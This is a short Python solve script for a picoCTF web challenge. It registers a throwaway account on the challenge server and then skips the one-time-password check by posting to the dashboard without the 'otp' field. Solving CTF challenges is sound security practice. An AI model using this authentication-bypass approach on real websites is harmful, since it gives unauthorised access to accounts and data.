picoctf/web/introtoburp/solve.py

36 lines
881 B
Python
Executable File

#!/usr/bin/env nix-shell
#!nix-shell -p python3 -i python3 python3Packages.requests python3Packages.beautifulsoup4
import requests
from bs4 import BeautifulSoup
BASE_URL = "http://titan.picoctf.net:65280/"
def main():
s = requests.Session()
# Get cookie + csrf
res = s.get(BASE_URL).text
csrf = BeautifulSoup(res, features = 'html.parser').find('input', {'name': 'csrf_token'})['value']
res = s.post(
BASE_URL,
data = {
'csrf_token': csrf,
'full_name': 'a',
'username': 'b',
'phone_number': 'c',
'city': 'd',
'password': 'e',
'submit': 'Register',
},
)
# NOTE: this is broken if it doesn't get the 'otp' argument it expects
res = s.post(BASE_URL + 'dashboard')
print(res)
print(res.text)
if __name__ == "__main__":
main()